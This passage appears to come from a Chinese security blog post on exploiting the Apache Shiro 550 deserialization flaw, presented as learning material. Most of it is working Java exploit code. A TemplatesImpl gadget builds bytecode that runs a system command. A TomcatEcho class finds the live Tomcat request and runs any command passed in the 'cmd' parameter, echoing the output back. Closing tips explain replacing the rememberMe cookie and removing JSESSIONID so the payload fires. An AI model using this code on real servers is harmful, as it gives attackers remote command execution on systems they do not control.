TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Hello");
setFieldValue(templates, "_bytecodes", new byte[][]{getEvilBytes()});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
}
public static void setFieldValue(Object obj, String field, Object val) throws Exception{
Field dField = obj.getClass().getDeclaredField(field);
dField.setAccessible(true);
dField.set(obj, val);
}
public static byte[] getEvilBytes()throws Exception{
ClassPool classPool = ClassPool.getDefault();
CtClass dynamicClass = classPool.makeClass("EvilAbstractTranslet");

CtClass abstractTranslet = classPool.getCtClass("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
dynamicClass.setSuperclass(abstractTranslet);

CtConstructor ctConstructor = new CtConstructor(new CtClass[]{},dynamicClass);
ctConstructor.setBody("java.lang.Runtime.getRuntime().exec(new String[]{\"calc\"});");
dynamicClass.addConstructor(ctConstructor);

byte[] bytes = dynamicClass.toBytecode();
dynamicClass.detach();
return bytes;
}
}

内存马注入及回显

tianxiadamutou ‘s blog 暂且搁置,之后到内存马再回来;

我们简单的分析了 Shiro 550 漏洞的成因,同时学习了 l1nk3r 师傅提出的 shiro 检测,目前很多shiro的利用都是选择 dnslog 带出,直接盲打等操作,那么如果 shiro 在不出网的情况下,那么将结果外带这条路是走不通的,盲打的话我们也不能保证我们使用的链存在,只能通过时延来确定我们的命令是否执行成功,所以这上面的这些情况下,回显似乎是反序列化漏洞中最好的一种解决方案,所以本文就来学习一下 Litch1 师傅提出的 Tomcat 的一种通用回显示的思路,同时借着 shiro 我们来进行内存马的注入的学习

但是由于 tomcat 7 结构不同,所以导致本方法会拿不到我们想要的结果

Shiro自身利用链以及更通用的Tomcat回显方案

https://www.yuque.com/tianxiadamutou/zcfd4v/bea7gi

https://github.com/KpLi0rn/ShiroVulnEnv //Shiro漏洞环境

上一篇文中利用的是 cc11 作为 Gadget 进行注入,但是 cc 毕竟需要利用额外的依赖 CommonsCollections ,所以最理想的情况就是寻找一条 Shiro 自带的 Gadget ,至此 p 神前几天在知识星球中提出了 CommonsBeanutils 与无 CommonsCollections 的 Shiro 反序列化利用

同时在上篇文章中利用的 Tomcat 通用回显仍然存在一些缺憾,也就是在 Tomcat 7 下由于结构问题导致无法获取到上下文中的 StandardContext ,但是后面在查看 j1anFen 师傅的 shiro_attack 工具的源码时,发现 j1anFen 师傅在工具中利用了一条全新的链,经测试发现在 Tomcat 7 中仍然适用,所以本篇文章来学习一下这条利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.connector.Response;
import org.apache.coyote.Request;
import org.apache.coyote.RequestInfo;

import java.io.InputStream;
import java.io.Writer;
import java.lang.reflect.Field;
import java.util.List;

public class TomcatEcho extends AbstractTranslet {

static {
try {
boolean flag = false;
Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(),"threads");
for (int i=0;i<threads.length;i++){
Thread thread = threads[i];
if (thread != null){
String threadName = thread.getName();
if (!threadName.contains("exec") && threadName.contains("http")){
Object target = getField(thread,"target");
Object global = null;
if (target instanceof Runnable){
// 需要遍历其中的 this$0/handler/global
// 需要进行异常捕获,因为存在找不到的情况
try {
global = getField(getField(getField(target,"this$0"),"handler"),"global");
} catch (NoSuchFieldException fieldException){
fieldException.printStackTrace();
}
}
// 如果成功找到了 我们的 global ,我们就从里面获取我们的 processors
if (global != null){
List processors = (List) getField(global,"processors");
for (i=0;i<processors.size();i++){
RequestInfo requestInfo = (RequestInfo) processors.get(i);
if (requestInfo != null){
Request tempRequest = (Request) getField(requestInfo,"req");
org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) tempRequest.getNote(1);
Response response = request.getResponse();

String cmd = null;
if (request.getParameter("cmd") != null){
cmd = request.getParameter("cmd");
}

if (cmd != null){
System.out.println(cmd);
InputStream inputStream = new ProcessBuilder(cmd).start().getInputStream();
StringBuilder sb = new StringBuilder("");
byte[] bytes = new byte[1024];
int n = 0 ;
while ((n=inputStream.read(bytes)) != -1){
sb.append(new String(bytes,0,n));
}

Writer writer = response.getWriter();
writer.write(sb.toString());
writer.flush();
inputStream.close();
System.out.println("success");
flag = true;
break;
}
// System.out.println("success");
// flag = true;
// break;
if (flag){
break;
}
}
}
}
}
}
if (flag){
break;
}
}
} catch (Exception e){
e.printStackTrace();
}

}


public static Object getField(Object obj, String fieldName) throws Exception {
Field f0 = null;
Class clas = obj.getClass();

while (clas != Object.class){
try {
f0 = clas.getDeclaredField(fieldName);
break;
} catch (NoSuchFieldException e){
clas = clas.getSuperclass();
}
}

if (f0 != null){
f0.setAccessible(true);
return f0.get(obj);
}else {
throw new NoSuchFieldException(fieldName);
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

https://github.com/KpLi0rn/ShiroVulnEnv/tree/main/src/test/java

注意点!!!

  • 将 AES 加密出来的编码替换包中的 RememberMe Cookie,将 JSESSIONID 删掉,因为当存在 JSESSIONID 时,会忽略 rememberMe。
  • yso 中的链子打不通是因为 yso 中 cb 版本为 1.9,而 shiro 自带为 1.8.3
 Comments